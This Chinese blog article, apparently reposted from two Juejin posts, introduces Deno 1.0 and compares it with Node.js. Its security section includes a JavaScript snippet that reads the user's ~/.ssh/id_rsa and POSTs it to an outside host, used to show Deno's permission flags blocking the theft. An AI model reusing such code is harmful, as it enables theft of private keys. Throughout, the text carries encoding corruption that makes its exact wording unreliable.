Deno 正式發(fā)布,Node.js 會(huì)被顛覆嗎?
“
閱讀本文大概需要 10?分鐘。
2020 年 5 月 14 日,可能是前端開(kāi)發(fā)史上里程碑式的一天,因?yàn)橐粋€(gè)名為 Deno 的庫(kù) 1.0 版本正式發(fā)布了。

Deno 是個(gè)什么玩意?
有人說(shuō)這可能是一個(gè)顛覆 Node.js (后文簡(jiǎn)稱 Node)的庫(kù),能顛覆整個(gè)前端開(kāi)發(fā)生態(tài)的庫(kù)。
這么吊嗎?這是誰(shuí)開(kāi)發(fā)的?這個(gè)庫(kù)到底有啥用?
其實(shí) Deno 就是 Node 的爸爸 Ryan Dahl 主導(dǎo)開(kāi)發(fā)的,主要原因是他覺(jué)得最早在開(kāi)發(fā) Node有很多設(shè)計(jì)不好的地方,于是....
好,這篇文章就來(lái)介紹一下 Deno、Node 的開(kāi)發(fā)者以及 Deno 和 Node 的生態(tài)和用法上的不同之處吧。
Node.js 之父是誰(shuí)?

沒(méi)錯(cuò)!就是這個(gè)叫 Ryan Dahl 的男人在 2009 年創(chuàng)造了 Node。你看,其實(shí)也不是說(shuō)大神就都沒(méi)頭發(fā),這位大神毛發(fā)不是挺旺盛的嘛!不過(guò)既然是在 2009 年締造的 Node,那么就不得不吐槽那時(shí)候的 JavaScript 了。在 2009 年的 JavaScript 啥樣大家都知道,ES5.0(不成熟的ES5)在 09 年年底才剛剛發(fā)布,而 ES 5.1(咱們現(xiàn)在用的ES5)在 2011 年 6 月才開(kāi)始發(fā)布并成為 ISO 國(guó)際標(biāo)準(zhǔn)。
想象一下即使現(xiàn)在有了 ES6 - ES2020 這么新的版本,JavaScript 依然經(jīng)常被大家拿來(lái)吐槽,更別提那個(gè)ES5都沒(méi)普及的年代了。在那時(shí)候既沒(méi)有合適的異步方式也沒(méi)有模塊化,也沒(méi)有什么包管理啥的。那么這樣的JS寫(xiě)大型項(xiàng)目或服務(wù)端項(xiàng)目簡(jiǎn)直就是一場(chǎng)災(zāi)難,于是乎就產(chǎn)生了各種模塊化方案(Node采用了 CommonJS),也有了 npm、node_modules 等各種歷史遺留問(wèn)題。一方面是當(dāng)年的 Ryan Dahl 技術(shù)沒(méi)有現(xiàn)在好,思想也沒(méi)有現(xiàn)在這么全面、另一方面當(dāng)年的 JavaScript 本來(lái)就很坑,用它創(chuàng)造出來(lái)的東西肯定不會(huì)很完美的。
但是如今的 JavaScript 生態(tài)越來(lái)越發(fā)展壯大,雖然現(xiàn)在還是很坑,不過(guò)比起以前的 JavaScript 來(lái)說(shuō)簡(jiǎn)直強(qiáng)百倍。不僅有了自己的模塊化,還有了Promise、Proxy、Bigint、塊級(jí)作用域等一系列非常實(shí)用的特性、而且還有更好的 TypeScript 來(lái)為 JavaScript 負(fù)重前行。而 Node 的歷史包袱實(shí)在太重,即使想支持一下標(biāo)準(zhǔn)的模塊化都不得不把 .js 變成 .mjs 以保持兼容。
Deno 起因
Node 之父并沒(méi)有一直在維護(hù) Node,他后來(lái)離開(kāi)了 Node 加入了谷歌,在谷歌他研究的主要方向就是機(jī)器學(xué)習(xí)里面的圖像著色和超解像技術(shù)。雖然取得了一定的成就,但是 Ryan Dahl 認(rèn)為現(xiàn)在的機(jī)器學(xué)習(xí)還很簡(jiǎn)單,離真正的人工智能還有著十萬(wàn)八千里。但是這并不妨礙人們?nèi)ヌ嵘龣C(jī)器學(xué)習(xí)的技術(shù),因?yàn)樗嘈?,總有一天,人工智能?huì)變得越來(lái)越完善。
提到機(jī)器學(xué)習(xí)和人工智能就不得不提 Python,Node 他爸始終不是很喜歡 Python,久而久之,就想搞一個(gè) JavaScript 的人工智能開(kāi)發(fā)框架(以后前端可能還得再學(xué)個(gè)人工智能)。等到他再回過(guò)頭撿起 Node,發(fā)現(xiàn)這個(gè)項(xiàng)目已經(jīng)背離了他的初衷,有一些無(wú)法忽視的問(wèn)題。
這些啥破玩意?那個(gè)又是些什么鬼?原來(lái),他覺(jué)得當(dāng)初自己創(chuàng)建 Node 時(shí)失誤實(shí)在是太多了,他甚至還在 2018 年的 JS 開(kāi)發(fā)者會(huì)上列出了自己設(shè)計(jì) Node 的十個(gè)錯(cuò)誤:
?沒(méi)有堅(jiān)持使用 Promise?沒(méi)有注重安全性?沒(méi)有從 GYP 構(gòu)建系統(tǒng)轉(zhuǎn)到 GN?繼續(xù)使用 GYP,沒(méi)有提供 FFI?package.json 以及依賴了 npm?在任何地方都可以?require("somemodule")?package.json 提供了錯(cuò)誤的 module 概念?設(shè)計(jì)了軟件界黑洞 node_modules?require("module")可以不寫(xiě)?.js?index.js
為了彌補(bǔ)這些錯(cuò)誤,他研發(fā)了一個(gè)新的項(xiàng)目,用來(lái)解決他的十個(gè)痛點(diǎn)(其實(shí)遠(yuǎn)遠(yuǎn)不止十個(gè)),這個(gè)項(xiàng)目就是 Deno。
Deno 的實(shí)現(xiàn)
Node 的底層依賴的是 C++,那 Deno 一樣嗎?
答案是否定的,一部分程序員可能還記得 Deno 一開(kāi)始依賴的是 Go 語(yǔ)言,這曾經(jīng)在 GoLang 社區(qū)掀起了不小的波瀾。但是好景不長(zhǎng),后來(lái)?yè)Q成了 Rust。然后好多人借機(jī)黑 Go 吹 Rust 了一番。
Deno 的名字
細(xì)心的朋友可能會(huì)發(fā)現(xiàn) deno 這四個(gè)字母就是 node 的四個(gè)字母兩兩顛倒了一下:
?de + no = Deno?no + de = Node
顛倒 Node 字母的寓意是要顛覆Node嗎?
其實(shí)也差不多,它的意思是:Destroy Node (毀滅Node!)
看來(lái) Ryan Dahl 對(duì)他的Deno很有信心,我是希望它能真的干掉 Node 的,因?yàn)樗膬?yōu)點(diǎn)實(shí)在是太過(guò)于突出啦!
那么接下來(lái)我們就來(lái)看一看Deno的優(yōu)勢(shì)都有哪些。
Deno 的優(yōu)勢(shì)
內(nèi)置 tsc 引擎,可以直接運(yùn)行 TypeScript 代碼(還是要先編譯成 JavaScript)。這就不用你每次編寫(xiě)完 TypeScript 代碼還要去手動(dòng)去編譯了,而且也不用再去搭建什么ts-node之類的了,方便你我他。它的內(nèi)部會(huì)根據(jù)文件后綴名判斷,如果是 .ts 后綴名,就先調(diào)用TS編譯器,將其編譯成 JavaScript;如果是.js后綴名,就直接傳入 V8 引擎運(yùn)行。
由于是用 Rust 語(yǔ)言開(kāi)發(fā)的,Rust 原生支持 WebAssembly,所以它也能直接運(yùn)行 WebAssembly。它的異步操作不使用 libuv 這個(gè)庫(kù),而是使用 Rust 的 Tokio 庫(kù)來(lái)實(shí)現(xiàn) event loop。
那么為什么不像 Node 一樣用 C++ 而是選擇用Rust呢?主要是因?yàn)?Rust 提供了很多現(xiàn)成的模塊,對(duì)于 Deno 來(lái)說(shuō),可以節(jié)約很多開(kāi)發(fā)時(shí)間。也許是看到了 Rust 提供了很多現(xiàn)成模塊,Deno 也決定在自己的項(xiàng)目中添加許多現(xiàn)成模塊。
Deno 具有安全控制,默認(rèn)情況下腳本不具有讀寫(xiě)權(quán)限。如果腳本未授權(quán),就讀寫(xiě)文件系統(tǒng)或網(wǎng)絡(luò),會(huì)報(bào)錯(cuò)。想要讀寫(xiě)文件系統(tǒng)的話必須使用要參數(shù),顯式打開(kāi)權(quán)限才可以。Ryan 在總結(jié) Node 的十個(gè)錯(cuò)誤時(shí)曾說(shuō):V8 引擎本身有很好的 sandbox 架構(gòu),但是有時(shí)候 Node 本身卻沒(méi)有好好利用,例如有可以直接讀取 Memory 的例子,或者 linter 可以直接使用網(wǎng)絡(luò)功能等的漏洞。從 npm 下載了一個(gè)包就任由他運(yùn)行了,這其中存在著很大的安全隱患。
Deno 支持 Web API,盡量跟瀏覽器保持一致。它提供 window 這個(gè)全局對(duì)象,同時(shí)支持 fetch、webCrypto、worker 等 Web 標(biāo)準(zhǔn),也支持 onload、onunload、addEventListener 等事件操作函數(shù)。不像Node,Web API和Node的API不一致只會(huì)增加開(kāi)發(fā)者的學(xué)習(xí)成本。以后window全局對(duì)象就可以不僅僅只局限于瀏覽器環(huán)境啦!
Deno只支持ES模塊,跟瀏覽器的模塊加載規(guī)則一致。既沒(méi)有 npm,也沒(méi)有 node_modules這個(gè)無(wú)底洞,同時(shí)不支持 CommonJS 模塊,也不需要 package.json 文件。所有模塊通過(guò)URL加載,比如?import vue from "https://.vue.org"(絕對(duì)地址)或?import vue from './vue.runtime.js'(相對(duì)地址)。因此,Deno 不需要一個(gè)中心化的模塊儲(chǔ)存系統(tǒng),可以從任何地方加載模塊。但是,Deno 下載模塊以后,依然會(huì)有一個(gè)總的目錄,在本地緩存模塊,因此可以離線使用。也就是說(shuō)其實(shí)還是有一個(gè)類似于 node_modules 的文件夾。
Deno 內(nèi)置了開(kāi)發(fā)者需要的各種功能,不再需要外部工具。打包、格式清理、測(cè)試、安裝、文檔生成、linting、腳本編譯成可執(zhí)行文件等,都有專門命令,不知道會(huì)不會(huì)在干掉 Node 的路上順便把 Webpack 也給干掉。
Deno 的劣勢(shì)
雖然這么一對(duì)比,感覺(jué) Node.js 完全不是對(duì)手,但是有一點(diǎn)是 Deno 暫時(shí)望塵莫及的,那就是巨大的生態(tài)。
就像 C# 和 Java 一樣,他們真的差距那么巨大嗎?其實(shí)并沒(méi)有吧,但是流行度差這么多有很多原因是因?yàn)樯鷳B(tài)。
就像華為想搞自己的鴻蒙系統(tǒng),即使真的能比安卓?jī)?yōu)秀,但是安卓巨大的生態(tài)就足夠領(lǐng)先很多年。當(dāng)年 Windows Phone 系統(tǒng)不就是這么輸?shù)拿??啥軟件都沒(méi)有,自然沒(méi)人愿意去買 Windows Phone 手機(jī)。
Ryan 說(shuō)了,Deno 現(xiàn)在不打算對(duì) Node 做兼容處理,也就是說(shuō)很多東西在 Node 能用但是在 Deno 上用不了,能不能真的干掉 Node 就要看廣大造輪子愛(ài)好者們了,看看他們?cè)覆辉敢庠?Deno 身上再造一個(gè)。
如果 React、Vue 以后都從 Deno 身上建生態(tài)了,那么 Deno 的前途就真的光明了,希望那一天能夠早點(diǎn)到來(lái)。
對(duì)比
的確,Deno 和 Node.js 形態(tài)很相似,要解決的問(wèn)題似乎也相同,那他們到底有啥區(qū)別,這一切究竟是道德的淪喪還是 ry (作者)人性的扭曲,讓我們走進(jìn)本篇文章,一探究竟。
Deno VS Node
| Node | Deno | |
| API 引用方式 | 模塊導(dǎo)入 | 全局對(duì)象 |
| 模塊系統(tǒng) | CommonJS & 新版 node 實(shí)驗(yàn)性 ES Module | ES Module 瀏覽器實(shí)現(xiàn) |
| 安全 | 無(wú)安全限制 | 默認(rèn)安全 |
| Typescript | 第三方,如通過(guò) ts-node 支持 | 原生支持 |
| 包管理 | npm + node_modules | 原生支持 |
| 異步操作 | 回調(diào) | Promise |
| 包分發(fā) | 中心化 npmjs.com | 去中心化 import url |
| 入口 | package.json 配置 | import url 直接引入 |
| 打包、測(cè)試、格式化 | 第三方如 eslint、gulp、webpack、babel 等 | 原生支持 |
1.內(nèi)置 API 引用方式不同
Node 模塊導(dǎo)入
Node 內(nèi)置 API 通過(guò)模塊導(dǎo)入的方式引用,例如:
const fs =require("fs");fs.readFileSync("./data.txt");
Deno 全局對(duì)象
而 Deno 則是一個(gè)全局對(duì)象?Deno?的屬性和方法:
Deno.readFileSync("./data.txt");具體 Deno 有哪些方法,我們可以通過(guò)?repl?看一下:
deno # 或 deno repl進(jìn)入?repl?后,輸入?Deno?回車,我們可以看到:
{Buffer:[Function:Buffer],readAll:[AsyncFunction: readAll],readAllSync:[Function: readAllSync],writeAll:[AsyncFunction: writeAll],writeAllSync:[Function: writeAllSync],# .....}
這種處理的方式好處是簡(jiǎn)單、方便,壞處是沒(méi)有分類,想查找忘記的 API 比較困難??傮w來(lái)說(shuō)見(jiàn)仁見(jiàn)智。
2.模塊系統(tǒng)
我們?cè)賮?lái)看一下模塊系統(tǒng),這也是 Deno 和 Node 差別最大的地方,同樣也是 Deno 和 Node 不兼容的地方。
Node CommonJS 規(guī)范
我們都知道 Node 采用的是?CommonJS[1]?規(guī)范,而 Deno 則是采用的 ES Module 的瀏覽器實(shí)現(xiàn),那么我們首先來(lái)認(rèn)識(shí)一下:
ES Module 的瀏覽器實(shí)現(xiàn)
具體關(guān)于?ES Module[2]?想必大家都早已熟知,但其瀏覽器實(shí)現(xiàn)可能大家還不是很熟悉,所以我們先看一下其瀏覽器實(shí)現(xiàn):
eno 的模塊規(guī)范
Deno 完全遵循 es module 瀏覽器實(shí)現(xiàn),所以 Deno 也是如此:
// 支持import*as fs from"https://deno.land/std/fs/mod.ts";import{ deepCopy }from"./deepCopy.js";import foo from"/foo.ts";// 不支持import foo from"foo.ts";import bar from"./bar";// 必須指定擴(kuò)展名
我們發(fā)現(xiàn)其和我們平常在 webpack 或者 ts 使用 es module 最大的不同:
?可以通過(guò) import url 直接引用線上資源;?資源不可省略擴(kuò)展名和文件名。
關(guān)于第 1 點(diǎn),爭(zhēng)議非常大,有人很看好,覺(jué)得極大的擴(kuò)展了 Deno 庫(kù)的范圍;有人則不太看好,覺(jué)得國(guó)內(nèi)網(wǎng)速的原因,并不實(shí)用。大家的看法如何,歡迎在評(píng)論區(qū)發(fā)表 ?
3. 安全
如果模塊規(guī)范是 Node 和 Deno 最大的不同,那么對(duì)安全的處理,則是另外一個(gè)讓人摸不著頭腦的地方。
模擬盜號(hào)
在介紹之前我們先思考一下這個(gè)場(chǎng)景會(huì)不會(huì)出現(xiàn):
我做了一個(gè)基于命令行的一鍵上網(wǎng)工具?breakwall,每月 1 個(gè) G 免費(fèi)流量,然后將壓縮后的 JS 代碼發(fā)布到 npm 上,然后后在各種渠道宣傳一波。
羊毛黨興高彩烈的?cnpm install -g breakwall,然后每次使用的時(shí)候,我偷偷的將諸位的 ssh 密鑰和各種能偷的文檔及圖片偷偷上傳到我的服務(wù)器,在設(shè)定期限到期后,刪除電腦上資料,留下一句拿錢換資料,僅支持比特幣。
默認(rèn)安全的 Deno
如果你覺(jué)得以上情況有可能出現(xiàn),則會(huì)覺(jué)得下面的功能很實(shí)用。我們先用 Deno 執(zhí)行以下代碼:
// index.jslet rsa =Deno.readFileSync(Deno.dir("home")+"/.ssh/id_rsa");rsa =newTextDecoder().decode(rsa);fetch("http://jsonplaceholder.typicode.com/posts/1",{method:"POST",body: JSON.stringify(rsa)}).then((res)=> res.json()).then((res)=> console.log("密鑰發(fā)送成功,嘿嘿嘿?"));console.log("start breakwall...");
PS: --unstable 是由于 Deno.dir API 不穩(wěn)定
> deno run --unstable index.js我們將會(huì)得到如下報(bào)錯(cuò)信息:
> deno run --unstable index.jserror:UncaughtPermissionDenied: access to environment variables, run again with the --allow-env flag...
意思就是權(quán)限異常,需要訪問(wèn)環(huán)境變量,需要加上?--allow-env,我們加上這個(gè)參數(shù)再試一下。
> deno run --unstable --allow-env index.jserror:UncaughtPermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag...
如此反復(fù),還需加上?--allow-read、--allow-net?,最終的結(jié)果是:
> deno run --unstable --allow-env --allow-read --allow-net index.jsstart breakwall...密鑰發(fā)送成功,嘿嘿嘿?
經(jīng)過(guò)一番折騰,總算是發(fā)送成功了,要想盜取密鑰實(shí)屬不易。
白名單
那有人就說(shuō)了,如果我的應(yīng)用確實(shí)需要訪問(wèn)網(wǎng)絡(luò)和文件,但是有不想讓它訪問(wèn) .ssh 文件有沒(méi)有辦法?
當(dāng)然有了,我們可以給?--allow-read?和?--allow-net?指定白名單,名單之外都不可訪問(wèn),例如:
> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com index.jsstart breakwall...error:UncaughtPermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flagat unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)at async fetch ($deno$/web/fetch.ts:591:27)
簡(jiǎn)化參數(shù)
如果確認(rèn)是沒(méi)問(wèn)題,或者是自己開(kāi)發(fā)軟件時(shí),圖個(gè)方便,可以直接使用?-A?或?--allow-all?參數(shù)允許所有權(quán)限:
> deno -A --unstable index.jsstart breakwall...密鑰發(fā)送成功,嘿嘿嘿?
安全這方面見(jiàn)仁見(jiàn)智,有人覺(jué)得是多余,有人覺(jué)得很好用,極大的增強(qiáng)了安全性。如果你屬于覺(jué)得這個(gè)功能多余的,可以?deno run -A xxx?即可。
4. 兼容瀏覽器 API
很多人不理解,為什么你一個(gè)服務(wù)端語(yǔ)言要兼容瀏覽器 API,以及怎么兼容。
為什么要兼容瀏覽器 API
關(guān)于為什么,我舉個(gè)栗子大家就明白了:在設(shè)計(jì) Node 之處,關(guān)于輸出函數(shù)本來(lái)叫?print?之類的,后來(lái)有人提議為什么不叫?console.log,ry 覺(jué)得挺不錯(cuò),于是就接納了意見(jiàn)。
但是,這個(gè)設(shè)計(jì)并不是刻意為之,而 Deno 的設(shè)計(jì)則可以為之,通過(guò)與瀏覽器 API 保持一致,來(lái)減少大家的認(rèn)知。
怎么兼容瀏覽器 API
概念上兼容
?模塊系統(tǒng),從上面介紹看出 Deno 是完全遵循瀏覽器實(shí)現(xiàn)的;?默認(rèn)安全,當(dāng)然也不是自己創(chuàng)造的概念,w3c 早已做出瀏覽器權(quán)限[3]的規(guī)定,我們?cè)谧鲂〕绦虻臅r(shí)候尤為明顯,需要獲取各種權(quán)限;?對(duì)于異步操作返回 Promise;?使用 ArrayBuffer 處理二進(jìn)制;?等等...
存在 window 全局變量
console.log(window ===this, window ===self, window === globalThis);實(shí)現(xiàn)了?WindowOrWorkerGlobalScope[4]?的全部方法
具體方法列表,我們可以參考:lib.deno.shared_globals.d.ts[5]?和?lib.deno.window.d.ts[6]
// 請(qǐng)求方法fetch("https://baidu.com");// base64 轉(zhuǎn)化let encodedData = btoa("Hello, world");// 編碼let decodedData = atob(encodedData);// 解碼// 微任務(wù)queueMicrotask(()=>{console.log(123);});// 等等...
大趨勢(shì)
總體而言,如果服務(wù)端和瀏覽器端存在相同概念,Deno 就不會(huì)創(chuàng)造新的概念。這一點(diǎn)其實(shí) Node 也在做,新的?node 14.0 CHANGELOG[7]?就也提及要實(shí)現(xiàn)?Universal JavaScript?和?Spec compliance and Web Compatibility的思想,所以這點(diǎn)大家應(yīng)該都會(huì)接受吧,畢竟大勢(shì)所趨趨勢(shì)。
5. 支持 Typescript
不管你喜歡與否,2020 年了,必須學(xué)習(xí) TS 了(起碼在面試的時(shí)候是亮點(diǎn))。學(xué)完之后你才會(huì)明白王境澤定律真的無(wú)處不在。
// index.tslet str:string="王境澤定律";str =132;
> deno run index.tserror TS2322:Type'123'isnot assignable to type 'string'.? file:///Users/zhangchaojie/Desktop/index.ts:2:12 str =123~~~
6. 去 node_modules
Deno 沒(méi)有 node_modules,那么它是怎么進(jìn)行包管理的呢?我們先看下面的例子
// index.jsimport{ white, bgRed }from"https://deno.land/std/fmt/colors.ts";console.log(bgRed(white("hello world!")));
> deno run index.jsDownload https://deno.land/std/fmt/colors.tsCompile https://deno.land/std/fmt/colors.tshello world!
我們看到其有?Download?和?Compile?兩個(gè)步驟,我們會(huì)產(chǎn)生幾個(gè)疑問(wèn):
1、每次執(zhí)行都要下載嗎?
解:我們只需要再執(zhí)行一次就能明白,不需要每次下載。
> deno run index.jshello world!
2、Download 和 Compile 的文件在哪里呢?
解:我們會(huì)發(fā)現(xiàn),當(dāng)前執(zhí)行的目錄,并沒(méi)有 Download 和 Compile 文件,那文件放在哪里呢,我們首先來(lái)看一下?deno --help?命令:
> deno --helpSUBCOMMANDS:# ...info Show info about cache or info related to source file# ...ENVIRONMENT VARIABLES:DENO_DIR Set deno's base directory (defaults to $HOME/.deno)
deno info?命令展示了依賴關(guān)系,類似?package.json。
> deno info index.jslocal:/Users/zhangchaojie/Desktop/index.jstype:JavaScriptdeps:file:///Users/zhangchaojie/Desktop/index.js└── https://deno.land/std/fmt/colors.ts
DENO_DIR?則為實(shí)際的安裝和編譯目錄,相當(dāng)于?node_modules,默認(rèn)為?$HOME/.deno(命令提示是這樣的,但實(shí)際需要指定一下環(huán)境變量?export DENO_DIR=$HOME/.deno),我們看一下:
> tree $HOME/.deno/Users/zhangchaojie/.deno├── deps│└── https│└── deno.land│├──3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935│└──3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json└── gen└── https└── deno.land└── std└── fmt├── colors.ts.js├── colors.ts.js.map└── colors.ts.meta8 directories,5 files
3、沒(méi)網(wǎng)絡(luò)了怎么辦?
我們有些場(chǎng)景是將本地寫(xiě)好的代碼部署到?jīng)]有網(wǎng)絡(luò)的服務(wù)器,那么當(dāng)執(zhí)行?deno run xxx?時(shí),就是提示 error sending request。
解:將上面的緩存目錄內(nèi)容,直接拷貝到服務(wù)器并指定環(huán)境變量到其目錄即可。
4、依賴代碼更新了怎么辦?
解:當(dāng)依賴模塊更新時(shí),我們可以通過(guò)?--reload?進(jìn)行更新緩存,例如:
> deno run --reload index.js我們還可以通過(guò)白名單的方式,只更新部分依賴。例如:
> deno run --reload=https://deno.land index.js5、僅緩存依賴,不執(zhí)行代碼有辦法嗎?
解:有的,我們可以通過(guò)?deno cache index.js?進(jìn)行依賴緩存。
6、多版本怎么處理?
解:暫時(shí)沒(méi)有好的解決方案,只能通過(guò) git tag 的方式區(qū)分版本。
7.標(biāo)準(zhǔn)模塊 與 node API 兼容
我們通過(guò)第 1 點(diǎn)可以看到,其實(shí) Deno 的 API 相對(duì)于 Node 其實(shí)是少一些的,通過(guò)其文件大小也能看出來(lái):
> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno-rwxr-xr-x 142M/Users/zhangchaojie/.local/bin/deno-rwxr-xr-x 170M/usr/local/bin/node
那這些少的 API 只能自己寫(xiě)或者求助于社區(qū)嗎?
Deno 對(duì)于自身相對(duì)于 Node 少的和社區(qū)中常用的功能,提供了標(biāo)準(zhǔn)模塊[8],其特點(diǎn)是不依賴非標(biāo)準(zhǔn)模塊的內(nèi)容,達(dá)到社區(qū)內(nèi)的模塊引用最后都收斂于標(biāo)準(zhǔn)模塊的效果。例如:
// 類似 node 中 chalk 包import{ bgRed, white }from"https://deno.land/std/fmt/colors.ts";// 類似 node 中的 uuid 包import{ v4 }from"https://deno.land/std/uuid/mod.ts";
同時(shí)為了對(duì) node 用戶友好,提供了 node API 的兼容
import*as path from"https://deno.land/std/node/path.ts";import*as fs from"https://deno.land/std/node/fs.ts";console.log(path.resolve('./','./test'))
所以,大家在為 Deno 社區(qū)做貢獻(xiàn)的時(shí)候,首先要看一下標(biāo)準(zhǔn)模塊有沒(méi)有提供類似的功能,如果已經(jīng)提供了可以進(jìn)行引用。
8.異步操作
根據(jù) ry 自己是說(shuō)法,在設(shè)計(jì) Node 是有人提議 Promise 處理回調(diào),但是他沒(méi)聽(tīng),用他自己的話說(shuō)就是愚蠢的拒絕了。
Node 用回調(diào)的方式處理異步操作、Deno 則選擇用 Promise
// node 方式const fs =require("fs");fs.readFile("./data.txt",(err, data)=>{if(err)throw err;console.log(data);});
另外 Deno 支持?top-level-await,所以以上讀取文件的代碼可以為:
// deno 方式const data = await Deno.readFile("./data.txt");console.log(data);
Node 關(guān)于這方面也在一直改進(jìn),例如社區(qū)上很多?promisify?解決方案,通過(guò)包裹一層函數(shù),實(shí)現(xiàn)目的。例如:
// node API promisifyconst{ promisify }=require("es6-promisify");const fs =require("fs");// 沒(méi)有 top-level-await,只能包一層async function main(){const readFile = promisify(fs.readFile);const data = await readFile("./data.txt");console.log(data);}main();
9.單文件分發(fā)
我們知道 npm 包必須有?package.json?文件,里面不僅需要指明?main?或?module?或?browser?等字段來(lái)標(biāo)明入口文件,還需要指明?name?、license?、description?等字段來(lái)說(shuō)明這個(gè)包。
ry 覺(jué)得這些字段擾亂了開(kāi)發(fā)者的視聽(tīng),所以在 deno 中,其模塊不需要任何配置文件,直接是 import url 的形式。
10.去中心化倉(cāng)庫(kù)
對(duì)于?www.npmjs.com[9]?我們肯定都不陌生,它是推動(dòng) node 蓬勃發(fā)展的重要支點(diǎn)。但作者認(rèn)為它是中心化倉(cāng)庫(kù),違背了互聯(lián)網(wǎng)去中心化原則。
所以 Deno 并沒(méi)有一個(gè)像 npmjs.com 的倉(cāng)庫(kù),通過(guò) import url 的方式將互聯(lián)網(wǎng)任何一處的代碼都可以引用。
PS:Deno 其實(shí)是有個(gè)基于 GitHub 的第三方模塊集合[10]。
11.去開(kāi)發(fā)依賴
我們?cè)趯?xiě)一個(gè) Node 庫(kù)或者工具時(shí),開(kāi)發(fā)依賴是少不了的,例如 babel 做轉(zhuǎn)化和打包、jest 做測(cè)試、prettier 做代碼格式化、eslint 做代碼格式校檢、gulp 或者 webpack 做構(gòu)建等等,讓我們?cè)陂_(kāi)發(fā)前就搞得筋疲力盡。
deno 通過(guò)內(nèi)置了一些工具,解決上述問(wèn)題。
?deno bundle:打包命令,用來(lái)替換?babel、gulp?一類工具: 例如:deno bundle ./mod.ts;?deno fmt:格式化命令,用來(lái)替換?prettier?一類工具,例如:deno fmt ./mod.ts;?deno test:運(yùn)行測(cè)試代碼,用來(lái)替換?jest?一類工具,例如?deno test ./test.ts;?deno lint:代碼校檢(暫未實(shí)現(xiàn)),用來(lái)替換?eslint?一類工具,例如:deno lint ./mod.ts。
后記
就像小時(shí)候一直幻想的炸彈始終沒(méi)能炸了學(xué)校,技(輪)術(shù)(子)的進(jìn)(制)步(造)一直也未停止過(guò)。不論我們學(xué)的動(dòng)或者學(xué)不動(dòng),技術(shù)就在那里,不以人的意志為轉(zhuǎn)移。
至于 Deno 能不能火,我個(gè)人覺(jué)得起碼一兩年內(nèi)不會(huì)有太大反響,之后和 Node 的關(guān)系有可能像 Vue 和 React,有人喜歡用 Deno,覺(jué)得比 Node 好一萬(wàn)倍,有人則喜歡 Node ,覺(jué)得 Node 還能再戰(zhàn) 500 年。至于最終學(xué)不學(xué)還看自己。
再后記
看完這些內(nèi)容,我也自己去試了試 Deno,感覺(jué),的確是解決了前端生態(tài)中的很多痛點(diǎn)。
我以后或許應(yīng)該會(huì)站隊(duì) Deno 了。
原文
?Node 之父重構(gòu)的 Deno 終于發(fā)布了,它終究會(huì)取代 Node 嗎?作者:手撕紅黑樹(shù) 鏈接:https://juejin.im/post/5ebd3112f265da7bd802bdd7?Deno 正式發(fā)布,徹底弄明白和 Node 的區(qū)別 作者:超杰_ 鏈接:https://juejin.im/post/5ebcad19f265da7bb07656c7
轉(zhuǎn)載來(lái)源
以上內(nèi)容來(lái)自掘金「手撕紅黑樹(shù)」與「超杰_」的兩篇文章,轉(zhuǎn)載請(qǐng)聯(lián)系原作者獲取授權(quán)。
References
[1]?CommonJS:?https://javascript.ruanyifeng.com/nodejs/module.html[2]?ES Module:?https://es6.ruanyifeng.com/#docs/module[3]?瀏覽器權(quán)限:?https://w3c.github.io/permissions/#permission-registry[4]?WindowOrWorkerGlobalScope:?https://developer.mozilla.org/zh-CN/docs/Web/API/WindowOrWorkerGlobalScope[5]?lib.deno.shared_globals.d.ts:?https://github.com/denoland/deno/blob/master/cli/js/lib.deno.shared_globals.d.ts[6]?lib.deno.window.d.ts:?https://github.com/denoland/deno/blob/master/cli/js/lib.deno.window.d.ts[7]?node 14.0 CHANGELOG:?https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V14.md[8]?標(biāo)準(zhǔn)模塊:?https://deno.land/std/[9]?www.npmjs.com:?http://www.npmjs.com[10]?第三方模塊集合:?https://deno.land/x
推薦閱讀
1
淺度測(cè)評(píng):requests、aiohttp、httpx 我應(yīng)該用哪一個(gè)?
2
當(dāng)你無(wú)聊時(shí),可以玩玩 GitHub 上這個(gè)開(kāi)源項(xiàng)目
3
200 行代碼實(shí)現(xiàn)一個(gè)滑動(dòng)驗(yàn)證碼
4??
如何用一條命令將網(wǎng)頁(yè)轉(zhuǎn)成電腦 App
